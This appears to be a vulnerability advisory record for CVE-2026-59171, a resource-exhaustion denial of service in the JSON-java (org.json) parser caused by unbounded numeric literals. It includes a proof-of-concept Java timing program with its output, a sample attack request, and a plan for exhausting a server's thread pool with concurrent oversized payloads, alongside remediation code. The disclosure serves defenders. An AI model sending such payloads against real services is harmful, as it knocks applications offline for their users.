{"id":"CVE-2026-59171","aliases":["GHSA-ghc9-756g-vrcv"],"url":"https://o3.security/vulnerability/CVE-2026-59171","summary":"JSON-java: JSONTokener Unbounded Numeric String Resource-Exhaustion DoS","details":"## 1. Executive Summary\n\nJSON-java version 20260522 contains an unguarded path from an HTTP request body to unbounded `BigInteger` and `BigDecimal` construction. `JSONTokener.nextSimpleValue()` accumulates numeric characters into a `StringBuilder` with no length cap, then passes the full string to `JSONObject.stringToNumber()`, which calls `new BigInteger(val)` or `new BigDecimal(val)` directly. Both constructors have polynomial time complexity (O(n^1.585) for `BigInteger`).\n\nA 488 KB JSON body — well within nginx's default 1 MB body-size limit — contains a 500,000-digit numeric literal that blocks the handling thread for approximately 3 seconds. Spring Boot has no default size limit for `application/json` request bodies. No parser configuration option (`withStrictMode`, `withKeepStrings`) prevents this. All three primary entry points are affected: `new JSONObject(String)`, `new JSONArray(String)`, and `XML.toJSONObject(String)`.\n\nThis vulnerability is distinct from CVE-2023-5072 (which addressed `StackOverflowError` from deeply nested JSON *structures* via a `try/catch` in `nextValue()`) and from CVE-2022-45688 (which addressed recursive XML nesting depth). The numeric string length issue has been present since BigInteger support was introduced in release 20150729 and has never been fixed in any subsequent release.\n\n**Attack Complexity is rated High** because successful exploitation requires the target application to be using org.json specifically (rather than the default Jackson library used by Spring Boot), and requires the developer to have explicitly passed user-controlled input to `new JSONObject()` or equivalent. These are deployment conditions beyond the attacker's control. See Section 6 for the full CVSS rationale and Section 8 for the comparison with Jackson's treatment of the same issue class.\n\nThis vulnerability was **reproduced locally against json-20260522.jar** with full evidence provided below.\n\n---\n\n## 2. Vulnerability Description\n\n`JSONTokener.nextSimpleValue()` accumulates characters into a `StringBuilder` with no length limit until it hits a structural JSON character:\n\n**`JSONTokener.java:500–504`:**\n```java\nStringBuilder sb = new StringBuilder();\nwhile (c >= ' ' && \",:]}/\\\\\\\"[{;=#\".indexOf(c) < 0) {\n    sb.append(c);     // unbounded — no length check\n    c = this.next();\n}\n```\n\nThe accumulated string is passed to `JSONObject.stringToValue()` → `stringToNumber()`, which calls `new BigInteger(val)` with zero size guard:\n\n**`JSONObject.java:2738`:**\n```java\nBigInteger bi = new BigInteger(val);   // val can be arbitrarily large; no guard\n```\n\n`BigInteger(String)` has O(n^1.585) time complexity due to its internal Karatsuba multiplication during construction. A 100,000-digit input takes ~120 ms; a 1,000,000-digit input takes ~12 seconds. The decimal path (`new BigDecimal(val)`, reached when the string contains a `.` or exponent) is equally affected.\n\n**No configuration option prevents this.** `withStrictMode(true)` and `withKeepStrings(true)` are not checked in the `nextSimpleValue()` → `stringToNumber()` call chain. Confirmed by execution: both options still produce BigInteger in ~120 ms for a 100K-digit input.\n\n**Relationship to CVE-2023-5072:** CVE-2023-5072 (fixed in release 20231013) catches `StackOverflowError` thrown by deeply nested JSON *structures* (`{[` brackets) inside `nextValue()`:\n```java\n} catch (StackOverflowError e) {\n    throw new JSONException(\"JSON Array or Object depth too large to process.\", e);\n}\n```\nThis fix is in `nextValue()` and covers only recursive object/array structure depth. It has no effect on the numeric string length path in `nextSimpleValue()` → `stringToNumber()`. The BigInteger length issue was not addressed in 20231013 or in any subsequent release.\n\n---\n\n## 3. Affected Code Locations\n\n| File | Lines | Description |\n|------|-------|-------------|\n| `JSONTokener.java` | 500–504 | `nextSimpleValue()` — unbounded character accumulation into `StringBuilder`, no length cap |\n| `JSONObject.java` | 2721–2748 | `stringToNumber()` — `new BigInteger(val)` / `new BigDecimal(val)` called directly with no length guard |\n\n---\n\n## 4. Proof of Concept (Locally Verified)\n\n### 4.1 POC Code\n\n```java\nimport org.json.*;\n\npublic class Poc2NumericDoSv2 {\n    public static void main(String[] args) {\n        System.out.println(\"=== CVE-002: JSONTokener Unbounded Numeric String DoS ===\");\n\n        // Scaling: timing at different digit counts\n        System.out.println(\"\\n-- Unquoted numeric literal (JSONObject) --\");\n        int[] sizes = {10_000, 100_000, 200_000, 500_000, 1_000_000};\n        for (int numLen : sizes) {\n            String payload = \"{\\\"x\\\":\" + \"9\".repeat(numLen) + \"}\";\n            long start = System.currentTimeMillis();\n            JSONObject jo = new JSONObject(payload);\n            long elapsed = System.currentTimeMillis() - start;\n            System.out.printf(\"  %,7d digits (~%3d KB): %,5d ms  type=%s%n\",\n                numLen, payload.length()/1024, elapsed, jo.get(\"x\").getClass().getSimpleName());\n        }\n\n        // All affected entry points\n        System.out.println(\"\\n-- All affected entry points (100K digits) --\");\n        String p = \"9\".repeat(100_000);\n        long t;\n        t = System.currentTimeMillis(); new JSONObject(\"{\\\"n\\\":\" + p + \"}\");\n        System.out.println(\"  new JSONObject(String):     \" + (System.currentTimeMillis()-t) + \" ms\");\n        t = System.currentTimeMillis(); new JSONArray(\"[\" + p + \"]\");\n        System.out.println(\"  new JSONArray(String):      \" + (System.currentTimeMillis()-t) + \" ms\");\n        t = System.currentTimeMillis(); XML.toJSONObject(\"<r>\" + p + \"</r>\");\n        System.out.println(\"  XML.toJSONObject(String):   \" + (System.currentTimeMillis()-t) + \" ms\");\n\n        // No configuration option prevents the DoS\n        System.out.println(\"\\n-- Configuration bypass attempts (100K digits) --\");\n        String payload100k = \"{\\\"n\\\":\" + p + \"}\";\n        t = System.currentTimeMillis();\n        new JSONObject(payload100k, new JSONParserConfiguration().withStrictMode(true));\n        System.out.println(\"  withStrictMode(true):       \" + (System.currentTimeMillis()-t) + \" ms  [no protection]\");\n        t = System.currentTimeMillis();\n        new JSONObject(payload100k, new JSONParserConfiguration().withKeepStrings(true));\n        System.out.println(\"  withKeepStrings(true):      \" + (System.currentTimeMillis()-t) + \" ms  [no protection]\");\n\n        System.out.println(\"\\nRESULT: [CONFIRMED VULNERABLE] No length guard exists in parsing chain.\");\n    }\n}\n```\n\n### 4.2 Actual Execution Evidence (Reproduced Against json-20260522.jar)\n\n```\n=== CVE-002: JSONTokener Unbounded Numeric String DoS ===\n\n-- Unquoted numeric literal (JSONObject) --\n   10,000 digits (~  9 KB):    17 ms  type=BigInteger\n  100,000 digits (~ 97 KB):   123 ms  type=BigInteger\n  200,000 digits (~195 KB):   479 ms  type=BigInteger\n  500,000 digits (~488 KB): 2,975 ms  type=BigInteger\n  1,000,000 digits (~976 KB): 11,909 ms  type=BigInteger\n\n-- All affected entry points (100K digits) --\n  new JSONObject(String):     121 ms\n  new JSONArray(String):      120 ms\n  XML.toJSONObject(String):   123 ms\n\n-- Configuration bypass attempts (100K digits) --\n  withStrictMode(true):       121 ms  [no protection]\n  withKeepStrings(true):      124 ms  [no protection]\n\nRESULT: [CONFIRMED VULNERABLE] No length guard exists in parsing chain.\n```\n\n**Key observations:**\n- All three primary entry points (`JSONObject`, `JSONArray`, `XML.toJSONObject`) are equally affected\n- Neither `withStrictMode(true)` nor `withKeepStrings(true)` reduces the delay\n- A 488 KB payload produces a ~3 second thread blockage\n- Scaling is super-linear: doubling digits from 500K to 1M increases parse time approximately 4× (consistent with O(n^1.585))\n\n---\n\n## 5. Attack Scenarios\n\n### 5.1 Thread-Pool Exhaustion via Concurrent Requests\n\nA Java web application that explicitly uses org.json for request body parsing exposes a JSON endpoint. The developer parses the request body with `new JSONObject(requestBody)`.\n\n**Single attack request:**\n```\nPOST /api/order HTTP/1.1\nHost: target.example.com\nContent-Type: application/json\nContent-Length: 500011\n\n{\"amount\":999...999}   (500,000 nines — ~488 KB body)\n```\n\n**Effect:** This single request occupies one Tomcat thread for ~3 seconds. To exhaust a default 200-thread Tomcat pool, the attacker sends 200 concurrent such requests — a total of ~95 MB of concurrent traffic (200 × 488 KB), achievable with any standard load-generation tool (`ab`, `wrk`, `hey`). While those threads are occupied, legitimate user requests queue and time out.\n\n**Why common defaults do not prevent this:**\n- nginx default `client_max_body_size` = 1 MB → 488 KB payload passes through\n- Spring Boot has **no default size limit** for `application/json` `@RequestBody` (Tomcat's `maxPostSize` applies only to `application/x-www-form-urlencoded` and `multipart/form-data`, not to JSON)\n- No configuration option within org.json itself provides any protection\n\n### 5.2 Amplification Ratio\n\nThe blocking time grows super-linearly with payload size, creating an asymmetric attack:\n\n| Payload size | Thread blockage | Ratio (ms per KB sent) |\n|-------------|-----------------|------------------------|\n| 9 KB (10K digits) | 17 ms | 1.9 ms/KB |\n| 97 KB (100K digits) | 123 ms | 1.3 ms/KB |\n| 195 KB (200K digits) | 479 ms | 2.5 ms/KB |\n| 488 KB (500K digits) | ~2,975 ms | 6.1 ms/KB |\n| 976 KB (1M digits) | ~11,909 ms | 12.2 ms/KB |\n\nA 488 KB request — well within nginx's 1 MB default — ties up a server thread for 3 seconds. The ratio of CPU time consumed to bytes sent grows with payload size due to Karatsuba's super-linear complexity.\n\n### 5.3 All Primary Entry Points Are Affected\n\nThe vulnerability is not limited to `new JSONObject(String)`. Any org.json parsing call on the same numeric input produces the same delay:\n\n```\nnew JSONObject(String):     121 ms  (for 100K digits)\nnew JSONArray(String):      120 ms  (for 100K digits)\nXML.toJSONObject(String):   123 ms  (for 100K digits)\n```\n\nAny endpoint that parses user-controlled JSON or XML through org.json is a potential target, regardless of which specific API method is used.\n\n---\n\n## 7. Remediation\n\n**Primary fix — `nextSimpleValue()` in `JSONTokener.java`:**\n\nAdd a numeric token length cap in the accumulation loop, configurable via `JSONParserConfiguration`. The guard must fire before the string is passed to `stringToNumber()`:\n\n```java\n// In JSONTokener.nextSimpleValue(), inside the while loop (line 501):\nif (sb.length() > jsonParserConfiguration.getMaxNumberLength()) {\n    throw this.syntaxError(\"Numeric literal exceeds maximum allowed length of \"\n        + jsonParserConfiguration.getMaxNumberLength());\n}\n```\n\n**Expose the limit in `JSONParserConfiguration`:**\n\n```java\nprivate int maxNumberLength = 1_000;  // matches Jackson's DEFAULT_MAX_NUM_LEN\n\npublic JSONParserConfiguration withMaxNumberLength(int maxNumberLength) {\n    JSONParserConfiguration newConfig = this.clone();\n    newConfig.maxNumberLength = maxNumberLength;\n    return newConfig;\n}\npublic int getMaxNumberLength() { return this.maxNumberLength; }\n```\n\nA safe default of 1,000 characters matches the `StreamReadConstraints.DEFAULT_MAX_NUM_LEN` value introduced in Jackson 2.15 (released April 2023) specifically to address this class of vulnerability. org.json has no equivalent protection as of version 20260522.\n\n**Defense-in-depth (application-level):** Configure an upstream body size limit independent of any library fix. For nginx: `client_max_body_size 64k;`. For Spring Boot: register a `CommonsRequestLoggingFilter` or a `OncePerRequestFilter` that caps `Content-Length` before the body reaches the controller. These measures reduce the maximum achievable digit count but do not eliminate the root cause and should not be treated as a substitute for a library-level fix.\n\n---\n\n## 8. Comparison with Jackson's Treatment of the Same Issue\n\nJackson 2.15.0 (released April 2023) introduced `StreamReadConstraints.withMaxNumberLength()` with a default limit of 1,000 digits to address this exact class of vulnerability — and did so **without a CVE being filed**. This raises a legitimate question: if the Jackson ecosystem handled the same issue without a CVE, why does org.json warrant one?\n\nThe two situations are materially different in three ways:\n\n**1. Jackson's fix was universal and automatic; org.json's omission is not.**\n\nJackson is the default JSON library in Spring Boot. When Jackson 2.15 shipped with `DEFAULT_MAX_NUM_LEN = 1000`, the protection was automatically applied to the entire Spring Boot ecosystem without any developer action. Every Spring Boot application upgrading to Spring Boot 3.1+ received the protection transparently.\n\norg.json has no equivalent protection in any version through 20260522. Applications using org.json receive no protection from any upstream fix and have no configurable option to enable it. There is no automatic upgrade path.\n\n**2. org.json has an established CVE precedent for the same DoS class.**\n\nThis project has already been assigned CVEs for resource-exhaustion vulnerabilities triggered by crafted parsing input:\n- **CVE-2022-45688**: XML recursive nesting DoS\n- **CVE-2023-5072**: JSON nested `{[` structure DoS\n\nBoth were assigned under the same root pattern: parser accepts unbounded user-controlled input, resulting in resource exhaustion. The numeric string length issue is the same pattern in the same library, in a code path that the two prior fixes explicitly left unaddressed. Treating this as a non-CVE while the two structurally identical prior issues were assigned CVEs would be inconsistent.\n\n**3. RFC 8259 explicitly permits — and implicitly recommends — setting limits on number length.**\n\nRFC 8259 §6 states: *\"This specification allows implementations to set limits on the range and precision of numbers accepted.\"* The RFC anticipates that secure implementations will impose such limits. org.json's NOTES.md acknowledges only *\"partial support\"* for BigInteger/BigDecimal, but provides no size guard and no documentation warning users of the DoS risk. The absence of a documented security boundary in the presence of an RFC-permitted and industry-standard protection mechanism constitutes an exploitable implementation deficiency.\n\n---\n\n## 9. Relationship to Prior CVEs\n\n| CVE | Fixed In | Root Cause | Code Path | Fix Applied |\n|-----|----------|-----------|-----------|-------------|\n| CVE-2022-45688 | 20230227 | XML recursive nesting → StackOverflow in `XML.parse()` | `XML.java` recursive `parse()` calls | Added `maxNestingDepth` parameter (default 512) in `ParserConfiguration` |\n| CVE-2023-5072 | 20231013 | JSON nested `{[` structures → StackOverflowError in `nextValue()` | `JSONTokener.nextValue()` → recursive `new JSONObject()` / `new JSONArray()` | Added `catch (StackOverflowError e)` in `nextValue()` |\n| **This report** | **Unfixed** | **Unbounded numeric string → O(n^1.585) BigInteger/BigDecimal construction** | **`nextSimpleValue()` → `stringToNumber()` → `new BigInteger(val)`** | **None** |\n\nThe three issues share the \"resource exhaustion during parsing\" symptom but have entirely separate root causes, code paths, and fixes. Neither prior CVE provides any protection against numeric string length attacks.","published":"2026-11-06T20:12:34.624Z","modified":"2026-11-08T07:11:29.203274529Z","cvss":{"score":5.9,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Maven","name":"org.json:json","fixedVersion":"20260719"}],"fix":{"url":"https://github.com/stleary/JSON-java/commit/703ac34a55400f9c50889e3d0c778b6d7962e81c","label":"stleary/JSON-java@703ac34"},"references":[{"type":"WEB","url":"https://github.com/stleary/JSON-java/releases/tag/20260719"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59171.json"},{"type":"ADVISORY","url":"https://github.com/stleary/JSON-java/security/advisories/GHSA-ghc9-756g-vrcv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59171"},{"type":"FIX","url":"https://github.com/stleary/JSON-java/commit/703ac34a55400f9c50889e3d0c778b6d7962e81c"},{"type":"FIX","url":"https://github.com/stleary/JSON-java/commit/ab92bb9088a37f9e346cd1dda66f6a3c40a201e0"},{"type":"FIX","url":"https://github.com/stleary/JSON-java/commit/fce83c91bb229dde472283dea648a9a8955237fd"},{"type":"FIX","url":"https://github.com/stleary/JSON-java/pull/1065"},{"type":"FIX","url":"https://github.com/stleary/JSON-java/pull/1067"},{"type":"PACKAGE","url":"https://github.com/stleary/JSON-java"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-11-08T07:11:29.203274529Z"}}